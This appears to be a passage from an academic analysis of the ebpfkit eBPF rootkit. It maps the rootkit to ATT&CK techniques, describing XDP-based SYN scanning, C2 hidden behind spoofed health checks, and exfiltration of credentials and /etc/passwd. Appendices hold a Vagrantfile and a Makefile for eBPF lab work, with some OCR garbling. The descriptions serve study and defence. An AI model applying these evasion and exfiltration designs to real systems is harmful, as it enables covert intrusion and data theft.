IP. ARP operates at Layer 2 of the OSI model.

SYN packets for TCP: Following the ARP resolution, the rootkit’s active network dis-
covery also implements a SYN scanner. When the initial TCP packet is retransmitted
(because it was never acknowledged by the kernel due to the earlier override), the the
rootkit’s XDP program overrides it with a SYN request for the first port in the specified
range. This process continues in a loop: whenever an answer to a SYN request is re-
ceived, the rootkit overrides that received packet with another SYN request for the next
port, generating hundreds of SYN packets to scan the port range without involving the
kernel stack. SYN packets are part of the TCP handshake, which operates at Layer 4
(Transport Layer) of the OSI model.

T1571. Non-Standard Port

The rootkit web application, which facilitates the C2, uses port 8000 by default. While
often used for HT'TP, port 8000 is considered a non-standard port for general web traffic
compared to the traditional port 80 or 443. The ebpfkit-client defaults to targeting
http://localhost:8000.

T1572. Protocol Tunneling

@)

o

@)

Hijacking Existing Connections: the rootkit cannot initiate new connections or open

ports, but it can hijack existing ones.

Health Check Spoofing:

— A client sends HTTPS requests with custom routes and user agents to a web applica-
tion running on the compromised host, expecting these requests to be interpreted by
the rootkit, not the web app.

— Upon receiving these requests, the rootkit’s XDP programs parse the HTTP routes
and user agents to determine that the request is intended for the rootkit.

— The rootkit then overrides the entire incoming request with a simple health check
request. This serves two main purposes:

— It prevents the malicious request from reaching the legitimate web application or
any user-space monitoring tools, thereby avoiding detection of unusual traffic.

— It ensures the client receives a 200 OK response from the legitimate web app’s
health check, confirming the command was successfully processed by the rootkit.

Data Exfiltration:

— The client sends an initial request to specify the type of data to exfiltrate.
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— The XDP program stores the network flow information and the requested resource in
an eBPF map.

— When the web app responds to the health check, the rootkit’s TC egress classifier
intercepts the packet.

— The eBPF program then overrides the legitimate health check answer with the re-
quested data before it is sent back to the client.

— This allows the exfiltration of "pretty much anything that is accessible to eBPF,"
such as file content, environment variables, database dumps, or in-memory data, as
different eBPF program types can share data through eBPF maps.

— This technique is demonstrated for exfiltrating Postgres credentials and the content
of /etc/passwd over HI'TPS. It also applies to any unencrypted network protocol,
and the developers implemented it for DNS spoofing by using an XDP program to
override DNS request answers.

T1090. Proxy

No information found.

T1219. Remote Access Tools

No information found.

T1205. Traffic Signaling
Cf. TA000S3. Persitence.

T1102. Web Service

No information found.
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Environment & Code

B.1 Vagrantfile

Vagrant.configure("2") do |config]
config.vm.box = "ubuntu/jammy64"
config.vm.hostname = "vagrant"
config.vm.synced_folder "./src", "/home/vagrant/shared"
config.vm.provider "virtualbox" do |vbl|
vb.name = "ebpf-vagrant"
vb.gui = false
vb.memory = "16384" # 4096
vb.cpus = 8 # 4
vb.check_guest_additions = true

vb.customize ["modifyvm", :id, "--clipboard",
< "bidirectional"]
vb.customize ["modifyvm", :id, "--vram", "128"]

end

# Provision with shell to install ansible
config.vm.provision "shell" do |shell]
shell.inline = <<-SHELL
# Update package list and install Ansible
sudo apt-get update
sudo apt-get install -y ansible
SHELL
end

# Provision the VM with ansible-local

config.vm.provision "ansible_local" do |ansible]
ansible.verbose = "v"
ansible.playbook = "provision.yml"
ansible.compatibility_mode = "1.8"
ansible.tags = "dep,sys,net,misc,ebpf"

end

end

Listing 33: Vagrant configuration for provisioning an Ubuntu VM with Ansible for eBPF
development

112
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B.2 Makefile

BPF_CLANG=clang
BPF_CFLAGS=-g -02 -target bpf
USER_CFLAGS=-g -02

NAME=program

BPFOBJ=$ (NAME) .bpf .o
SKELETON=$ (NAME) . skel.h
EXEC=$ (NAME)

# Build user-space executable
$(EXEC) : $(SKELETON) $(NAME).c
$ (BPF_CLANG) $(USER_CFLAGS) $(NAME).c -lbpf -o $(EXEC)

# Build BPF object
$ (BPFOBJ) : $(NAME) .bpf.c vmlinux.h
$ (BPF_CLANG) $(BPF_CFLAGS) -c $(NAME) .bpf.c -o $(BPFOBJ)

# Generate vmlinux.h from system BTF
vmlinux.h:
bpftool btf dump file /sys/kernel/btf/vmlinux format ¢ > vmlinux.h

# Generate skeleton header
$ (SKELETON) : $(BPFOBJ)
bpftool gen skeleton $(BPFOBJ) name $(NAME) > $(SKELETON)

# Clean build artifacts
clean:
- rm -f *.0 *.skel.h vmlinux.h $(EXEC)

Listing 34: Makefile for building and packaging an eBPF program with Clang and bpftool
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